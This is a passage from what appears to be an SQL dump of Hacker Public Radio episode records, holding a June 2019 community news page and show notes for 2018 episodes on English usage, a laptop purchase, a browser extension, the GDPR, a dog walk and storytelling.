target=\"_blank\">Christopher M. Hobbs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2842\" target=\"_blank\">2842</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-06-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2842\" target=\"_blank\">What\'s in my Bag an update to hpr2065</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2843\" target=\"_blank\">2843</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-06-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2843\" target=\"_blank\">Afrikan Tähti (or Star of Africa)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2844\" target=\"_blank\">2844</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-06-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2844\" target=\"_blank\">The Sony TC-222-A Portable Reel-To-Reel Tape Recorder</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2845\" target=\"_blank\">2845</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2845\" target=\"_blank\">HPR NYE Show 2018-2019 part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 19 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2807#comments\" target=\"_blank\">hpr2807</a></strong>\n(2019-05-07) \"<em>Are bash local variables local?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2807#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-06-06:\n\"Thanks for this\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 18 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2827#comments\" target=\"_blank\">hpr2827</a></strong>\n(2019-06-04) \"<em>Unscripted ramblings from my garage about my first CTF event</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2827#1\" target=\"_blank\">Comment 1</a>:\nChristopher M. Hobbs on 2019-05-30:\n\"event cancellation\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2827#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2019-06-04:\n\"sorry to hear about cancellation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2829#comments\" target=\"_blank\">hpr2829</a></strong>\n(2019-06-06) \"<em>Discussion around fair use clips on HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2829#1\" target=\"_blank\">Comment 1</a>:\nJoel D on 2019-06-06:\n\"Fair Use\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2829#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2019-06-07:\n\"We don\'t know\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2830#comments\" target=\"_blank\">hpr2830</a></strong>\n(2019-06-07) \"<em>HPR NYE Show 2018-2019 part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2830#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2019-06-10:\n\"plumble is better than I thought.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2830#2\" target=\"_blank\">Comment 2</a>:\nfolky on 2019-06-10:\n\"More %\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2830#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2019-06-10:\n\"Missing \'%\' in date command\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2831#comments\" target=\"_blank\">hpr2831</a></strong>\n(2019-06-10) \"<em>Interview with Robbie Ferguson</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2831#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2019-06-10:\n\"Just what I was looking for\n\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2832#comments\" target=\"_blank\">hpr2832</a></strong>\n(2019-06-11) \"<em>How I got started in Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=378\" target=\"_blank\">Shannon Wright</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2832#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2019-06-11:\n\"Welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2833#comments\" target=\"_blank\">hpr2833</a></strong>\n(2019-06-12) \"<em>Jeroen chats with Joep Piscaer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2833#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2019-06-14:\n\"Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2837#comments\" target=\"_blank\">hpr2837</a></strong>\n(2019-06-18) \"<em>parallax live desktops in android</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2837#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2019-06-18:\n\"I like this kind of episode.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2839#comments\" target=\"_blank\">hpr2839</a></strong>\n(2019-06-20) \"<em>Sample episode of the Distrohoppers Digest podcast</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2019-06-20:\n\"Accessibility\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#2\" target=\"_blank\">Comment 2</a>:\nBob on 2019-06-20:\n\"reply to Mike\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2019-06-20:\n\"Accessibility and non-English character sets\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#4\" target=\"_blank\">Comment 4</a>:\nTony Hughes on 2019-06-21:\n\"Responce to Mike and Bob\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#5\" target=\"_blank\">Comment 5</a>:\nBob on 2019-06-23:\n\"I wasn\'t serious\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2019-06-25:\n\"Accessibility\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2839#7\" target=\"_blank\">Comment 7</a>:\nTonyH1212 on 2019-06-29:\n\"Further responce to Mike and Bob\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"issue-with-advanced-rss-settings\">Issue with advanced RSS settings</h3>\n<p>The page at <a href=\"https://www.hackerpublicradio.org/advanced_rss_settings.php\" class=\"uri\">https://www.hackerpublicradio.org/advanced_rss_settings.php</a> describes a series of features that allow the specification of a tailored RSS feed.</p>\n<p>One of the features is <code>\'gomax=1\'</code> which includes shows in the queue scheduled for the future. For example, the following URL requests 30 OGG format shows including those scheduled for the future:</p>\n<pre><code>https://hackerpublicradio.org/rss.php?format=ogg&amp;gomax=1&amp;limit=30</code></pre>\n<p>However, there is a problem with this, caused by the way we direct downloads to <code>archive.org</code>. We usually upload the next week’s shows to <code>archive.org</code>, but not all future shows as they arrive. This means that the links to some future shows returned by the feed point to currently non-existent episodes.</p>\n<p>This has been the case ever since we moved to using <code>archive.org</code> in this way, in late 2017. We have not received any comments or complaints about it in that time, so the question is:</p>\n<blockquote>\n<p><b>Does anyone use <code>\'gomax=1\'</code>?</b></p>\n</blockquote>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes</a></b></p>\n<p>Over the period tags and/or summaries have been added to 6 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2558,'2018-05-23','Battling with English - part 1',678,'Misunderstandings about English grammar, spelling, punctuation, etc.','<h1 id=\"battling-with-english---part-1\">Battling with English - part 1</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the first episode of a series about the English language. In it I want to look at some of the problems people (including myself) have with it. I plan to do several episodes and I want to keep them short.</p>\r\n<p>The English language is old and has changed – evolved – in many ways over the years. It has come from a multitude of sources, and it\'s difficult to say what is <strong>correct</strong> in an absolute way.</p>\r\n<p>For example, when I was at school we were taught that &quot;<em>nice</em>&quot; should not be used in written material. At that time it was becoming common to see phrases like &quot;<em>I had a nice time</em>&quot; meaning <em>pleasant</em> (in a bland sort of way). In my &quot;<em>Concise Oxford Dictionary</em>&quot; from 1976 the 6th definition, &quot;<em>agreeable</em>&quot; is marked &quot;<em>colloquialism</em>&quot;, whereas today this is a common usage.</p>\r\n<p>However, it\'s easy to use the wrong word in the wrong context. You might choose one that sounds similar for example. You might also have problems with the spelling of a chosen word. Spelling in English is not always logical. You might also find yourself confused about the use of punctuation – the correct use of apostrophes can be challenging for example.</p>\r\n<p>In this series I want to examine some of the problem areas and try to give you the means of remembering the <strong>right</strong> way.</p>\r\n<p><strong>Note</strong>: I\'m not an authority on this stuff, but I have tried to teach myself not to make these mistakes over the years. I just wanted to share what I have learnt<a href=\"#fn1\" class=\"footnoteRef\" id=\"fnref1\"><sup>1</sup></a> with some links to higher authorities.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2558/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Then:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/then\">Definition of &quot;then&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/then\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>Than:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/than\">Definition of &quot;than&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/than\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>Then versus Than\r\n<ul>\r\n<li>Writing Explained: <a href=\"https://writingexplained.org/then-vs-than-difference\">Then vs. Than: What’s the Difference?</a></li>\r\n<li>Grammarist: <a href=\"https://grammarist.com/usage/than-then/\">Than vs. then</a></li>\r\n<li>Merriam-Webster: <a href=\"https://www.merriam-webster.com/words-at-play/when-to-use-then-and-than\">When To Use Then and Than</a></li>\r\n</ul></li>\r\n<li>There:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/there\">Definition of &quot;there&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/there\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>Their:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/their\">Definition of &quot;their&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/their\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>They\'re:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/they%27re\">Definition of &quot;they\'re&quot;</a></li>\r\n</ul></li>\r\n<li>Tenet:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/tenet\">Definition of &quot;tenet&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/tenet\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>Tenant:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/tenant\">Definition of &quot;tenant&quot;</a></li>\r\n<li><a href=\"https://www.etymonline.com/word/tenant\">Online Etymology Dictionary</a></li>\r\n</ul></li>\r\n<li>Tenet versus Tenant:\r\n<ul>\r\n<li>Quick and Dirty Tips: <a href=\"https://www.quickanddirtytips.com/education/grammar/tenet-versus-tenant\">Grammar Girl</a></li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\"><p>One thing I have <em>learnt</em> is that &quot;<em>learned</em>&quot; and &quot;<em>learnt</em>&quot; are both correct and mean the same. However, &quot;<em>learnt</em>&quot; is more common in the UK, whereas &quot;<em>learned</em>&quot; is used both in the UK and the USA.<a href=\"#fnref1\">↩</a></p></li>\r\n</ol>\r\n</section>',225,120,1,'CC-BY-SA','grammar,spelling,punctuation,word misuse,English',0,0,1),
(2562,'2018-05-29','I bought a laptop',1292,'... in which clacke takes months (or years?) to buy a laptop, but comes out pretty pleased','<p>After months (or years?) of waffling and false starts I finally bought an <a href=\"https://www.asus.com/Laptops/ASUS-VivoBook-15-X542UA/\">ASUS X542U</a>. The advertised specs say &quot;up to&quot;, but I don’t have the &quot;up to&quot;, I have the baseline 7th gen i3, 128GB SSD, 4 GB RAM.</p>\r\n<p>Here’s the rambling story of a laptop purchase and its various side quests.</p>\r\n<p>Some details that may or may not have made it in to the show (and the show has some that aren’t there) available on the Fediverse at <a href=\"https://pleroma.heldscal.la/notice/7204988\" class=\"uri\">https://pleroma.heldscal.la/notice/7204988</a> .</p>\r\n<p>Side quest to the side quest of making an episode about side quests:</p>\r\n<p>Why spend five minutes writing a simple Makefile when you can spend half an afternoon writing a <a href=\"https://gitlab.com/clacke/hpr/blob/master/default.nix\">simple default.nix</a> instead?</p>',311,0,0,'CC-BY-SA','laptop, linux, ubuntu, nix, cryptocurrency',0,0,1),
(2559,'2018-05-24','My Favourite Browser extension',1117,'In this episode I cover my favourite browser Add-on','<p>My contribution to List of requested shows “Your favourite browser extensions”</p>\r\n<ul>\r\n<li><p>OneTab Homepage<br />\r\n<a href=\"https://www.one-tab.com/\" class=\"uri\">https://www.one-tab.com/</a></p></li>\r\n<li><p>Firefox add-on link<br />\r\n<a href=\"https://addons.mozilla.org/en-US/firefox/addon/onetab/\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/onetab/</a></p></li>\r\n</ul>\r\n<p>On Android, I\'m lazy and just seem to have fallen into using the chrome browser. The Add-on I\'m going to talk about unfortunately isn\'t available for the Android operating system.</p>\r\n<p>On the Linux desktop, I use Firefox</p>\r\n<p>In the past, I\'ve dabbled with various browser add-ons but until very recently I\'ve been using no browser add-ons on the desktop.</p>\r\n<p>A browser add-on I did use and did miss was Tab groups</p>\r\n<p>Tab Groups was originally a feature built into Mozilla Firefox</p>\r\n<p>The feature was removed but maintained as an add-on until it was broken by changes in Firefox 57</p>\r\n<ul>\r\n<li><a href=\"https://addons.mozilla.org/en-GB/firefox/addon/tab-groups-panorama/\" class=\"uri\">https://addons.mozilla.org/en-GB/firefox/addon/tab-groups-panorama/</a></li>\r\n</ul>\r\n<p>A colleague at work brought the One-Tab add-on to my attention https://www.one-tab.com/</p>\r\n<p>It\'s available for both the Chrome browser and Firefox</p>\r\n<p>No sign-up or registration required</p>\r\n<p>With Tab-group I found myself spending a lot of time arranging groups getting the size right naming them etc.</p>\r\n<p>One tab philosophy is a bit different and perhaps maybe not so intuitive, though I think now after some use I prefer it as it gets out of the way and can be used with the minimal of fuss.</p>\r\n<p>I highly recommend one-tab if you regularly find yourself dealing with a lot of open tabs in your browser.</p>\r\n',201,0,1,'CC-BY-SA','Internet, Research, Browser, Firefox, Plug-in, Add-On',0,0,1),
(2560,'2018-05-25','General Data Protection Regulation (GDPR)',1117,'The GDPR becomes enforceable today and Ken gives an overview on what it is and how it effects you.','<p>Been getting a lot of updated policy changes lately ? Here\'s why !</p>\r\n\r\n<h3>From Wikipedia</h3>\r\n<quote>\r\nThe <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">General Data Protection Regulation (GDPR) (EU) 2016/679</a> is a regulation in EU law on data protection and privacy for all individuals within the European Union. It also addresses the export of personal data outside the EU. The GDPR aims primarily to give control to citizens and residents over their personal data and to simplify the regulatory environment for international business by unifying the regulation within the EU. It was adopted on 14 April 2016, and after a two-year transition period, becomes enforceable on 25 May 2018.\r\n</quote>\r\n\r\n<p>The following information is taken from the <a href=\"https://ico.org.uk/for-organisations/guide-to-the-general-data-protection-regulation-gdpr/\">Guide to the General Data Protection\r\nRegulation (GDPR)</a> from the Information Commissioners Office in the UK, which is released under a <a href=\"https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/\">Open Government Licence v3.0.</a></p>\r\n\r\n<h2>Principles of the GDPR</h2>\r\n<p>Under the GDPR, the data protection principles set out the main responsibilities for organisations.<br />\r\nArticle 5 of the GDPR requires that personal data shall be:</p>\r\n<dl>\r\n<dt>a) processed lawfully, fairly and in a transparent manner in relation to individuals;</dt>\r\n<dt>b) collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall not be considered to be incompatible with the initial purposes;</dt>\r\n<dt>c) adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed;</dt>\r\n<dt>d) accurate and, where necessary, kept up to date; every reasonable step must be taken to ensure that personal data that are inaccurate, having regard to the purposes for which they are processed, are erased or rectified without delay;</dt>\r\n<dt>e) kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes subject to implementation of the appropriate technical and organisational measures required by the GDPR in order to safeguard the rights and freedoms of individuals; and</dt>\r\n<dt>f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures.</dt>\r\n</dl>\r\nArticle 5(2) requires that:\r\n<dl>\r\n<dt>the controller shall be responsible for, and be able to demonstrate, compliance with the principles.</dt>\r\n</dl>\r\n\r\n<h2>What information does the GDPR apply to?</h2>\r\n\r\n<h3>Personal data</h3>\r\n<p>The GDPR applies to ‘personal data’ meaning any information relating to an identifiable person who can be directly or indirectly identified in particular by reference to an identifier.</p>\r\n\r\n<h3>Sensitive personal data</h3>\r\n<p>Special category data is personal data which the GDPR says is more sensitive, and so needs more protection.</p>\r\n<ul>\r\n  <li>race</li>\r\n  <li>ethnic origin</li>\r\n  <li>politics</li>\r\n  <li>religion</li>\r\n  <li>trade union membership</li>\r\n  <li>genetics</li>\r\n  <li>biometrics (where used for ID purposes)</li>\r\n  <li>health</li>\r\n  <li>sex life</li>\r\n  <li>sexual orientation</li>\r\n</ul>\r\n\r\n<h3>Criminal offence data</h3>\r\n<p>The Data Protection Bill deals with this type of data in a similar way to special category data, and sets out specific conditions providing lawful authority for processing it.</p>\r\n\r\n<h2>What are the lawful bases for processing?</h2>\r\n<p>You can only process personal information if you have:</p>\r\n<ol>\r\n  <li>Consent: the individual has given clear consent for you to process their personal data for a specific purpose.\r\n  <li>Contract: the processing is necessary for a contract you have with the individual, or because they have asked you to take specific steps before entering into a contract.\r\n  <li>Legal obligation: the processing is necessary for you to comply with the law (not including contractual obligations).\r\n  <li>Vital interests: the processing is necessary to protect someone’s life.\r\n  <li>Public task: the processing is necessary for you to perform a task in the public interest or for your official functions, and the task or function has a clear basis in law.\r\n  <li>Legitimate interests: the processing is necessary for your legitimate interests or the legitimate interests of a third party unless there is a good reason to protect the individual’s personal data which overrides those legitimate interests. (This cannot apply if you are a public authority processing data to perform your official tasks.)\r\n</ol>\r\n\r\n<h3>Individual rights</h3>\r\n<ol>\r\n  <li>The right of access</li>\r\n  <li>The right to rectification</li>\r\n  <li>The right to erasure</li>\r\n  <li>The right to restrict processing</li>\r\n  <li>The right to data portability</li>\r\n  <li>The right to object</li>\r\n  <li>Rights in relation to automated decision making and profiling.</li>\r\n</ol>\r\n\r\n<h3>Other Considerations</h3>\r\n<ul>\r\n  <li>Accountability and governance</li>\r\n  <li>Contracts</li>\r\n  <li>Documentation</li>\r\n  <li>Data protection by design and default</li>\r\n  <li>Data protection officers</li>\r\n  <li>Codes of conduct and certification</li>\r\n  <li>Guide to the data protection fee</li>\r\n  <li>Security</li>\r\n  <li>International transfers</li>\r\n  <li>Exemptions</li>\r\n  <li>Children</li>\r\n</ul>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/regulation_oj_en.pdf\">REGULATION (EU) 2016/679 OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL</a> \r\nof 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, \r\nand repealing Directive 95/46/EC (General Data Protection Regulation). Published under the terms of \r\n<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/PDF/?uri=CELEX:32011D0833&qid=1495026738506&from=EN\">COMMISSION DECISION of 12 December 2011 on the reuse of Commission documents (2011/833/EU)</a></li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/guide-to-the-general-data-protection-regulation-gdpr-1-0.pdf\">Guide to the General Data Protection Regulation (GDPR)</a>  from the \r\n<a href=\"https://ico.org.uk/for-organisations/guide-to-the-general-data-protection-regulation-gdpr/\">Information Commissioners Office</a> in the UK, which is released under a \r\n<a href=\"https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/\">Open Government Licence v3.0.</a></li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/preparing-for-the-gdpr-12-steps.pdf\">Preparing for the General Data Protection Regulation (GDPR)</a>.</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/DPbD_Framework.pdf\">Data Protection by Design Framework</a>. Published under Creative Commons 4.0 Attribution - NoDerivs CC BY - ND license. The most recent version of the Data Protection by Design Framework is available on \r\n<a href=\"https://www.privacycompany.eu/en/\">www.privacycompany.eu</a>.</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/factsheet_GDPR.pdf\">Overview of the EU General Data Protection Regulation (GDPR)</a>. Published under Creative Commons 4.0 Attribution - NoDerivs CC BY - ND license. The most recent version of the Data Protection by Design Framework is available on \r\n<a href=\"https://www.privacycompany.eu/en/\">www.privacycompany.eu</a>.</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2560/wp242_rev01_enpdf.pdf\">Guidelines on the right to data portability</a>16/EN WP 242 rev.01 ARTICLE 29 DATA PROTECTION WORKING PARTY. Published under the terms of \r\n<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/PDF/?uri=CELEX:32011D0833&qid=1495026738506&from=EN\">COMMISSION DECISION of 12 December 2011 on the reuse of Commission documents (2011/833/EU)</a></li>\r\n</ul>\r\n',30,74,0,'CC-BY-SA','GDPR,General Data Protection Regulation',0,0,1),
(2561,'2018-05-28','A reluctant dog walk',1472,'A reluctant dog walk after some hand stripping','<p>An explanation of hand stripping <a href=\"https://www.petguide.com/petcare/dog/grooming-basics-all-about-hand-stripping/\" class=\"uri\">https://www.petguide.com/petcare/dog/grooming-basics-all-about-hand-stripping/</a></p>\r\n<p>I chopped the recording down a bit as it was originally over an hour long I thought it would just be too monotonous.</p>\r\n<p>Listening back to the recording I can\'t believe it took me so long to get organised and get out the door.</p>\r\n<p>With all the rhythmic clinking sounds it sounds more like I\'m riding a horse than walking the dog, I think the supplied clip-on Dictaphone microphone is a bit on the sensitive side.</p>\r\n<p>As a responsible dog walker, one of the most important pieces of equipment I take with me on every dog walk is the “Toley Bone” mentioned around one minute point.</p>\r\n<p>Toley is a fine Scottish word, you can look it up if you are unfamiliar with it <a href=\"https://www.firstfoot.com/dictionary/t.html\" class=\"uri\">https://www.firstfoot.com/dictionary/t.html</a> or alternatively just do a simple google search to be enlightened.</p>\r\n<p>An example can be found here. <a href=\"https://www.amazon.co.uk/Plastic-Holder-Dispenser-Carrying-Walking/dp/B01IW0YSM0/ref=sr_1_8?ie=UTF8&amp;qid=1509280608&amp;sr=8-8&amp;keywords=dog+bag+bone\" class=\"uri\">https://www.amazon.co.uk/Plastic-Holder-Dispenser-Carrying-Walking/dp/B01IW0YSM0/ref=sr_1_8?ie=UTF8&amp;qid=1509280608&amp;sr=8-8&amp;keywords=dog+bag+bone</a></p>\r\n<p>Listen out for the crinkling sound around the halfway point where it is put to good use.</p>\r\n<p>The second most important piece of kit is a sweet, consumed around the 3 minute point.</p>\r\n<p>The main part of the walk was fairly uneventful and consisted of traffic noise, passing by the local bus terminus where the bus turns at the end of its route, a rather noisy motorbike and a brief encounter with a fellow dog walker on route.</p>\r\n<p>Finally ending with a treat and some light refreshment.</p>\r\n<p>Oh, and in case you\'re wondering yes the the scones mentioned near the end of the podcast made by Mrs X were wonderful.</p>\r\n<p>Oh and one final thing on listening back to the recording one more time I just realised that for some unknown reason just after the bus noise I started whistling very softly to myself, I don\'t remember doing that at all, I must have been doing it subconsciously. I could be wrong but it sounds to me like I\'m whistling the tune “The animals march in two by two” I guess it was just the right tempo to help me round my one hour walk.</p>\r\n',201,101,1,'CC-BY-SA','dog, walking',0,0,1),
(2563,'2018-05-30','Action In Storytelling',1065,'Lostnbronx looks at different uses of action in storytelling.','<p>Lostnbronx contrasts what he calls &quot;static action&quot; with &quot;story action&quot;, and looks at the functions of these techniques for storytelling in various media.</p>\r\n<p>A car chase is action-filled, but so might be a quiet Victorian drawing room, where, at least on the surface of it, nothing is happening.</p>\r\n<p>What actually constitutes action? What purpose does it serve? And how much of it do you really need?</p>',107,105,0,'CC-0','storytelling,action',0,0,1),
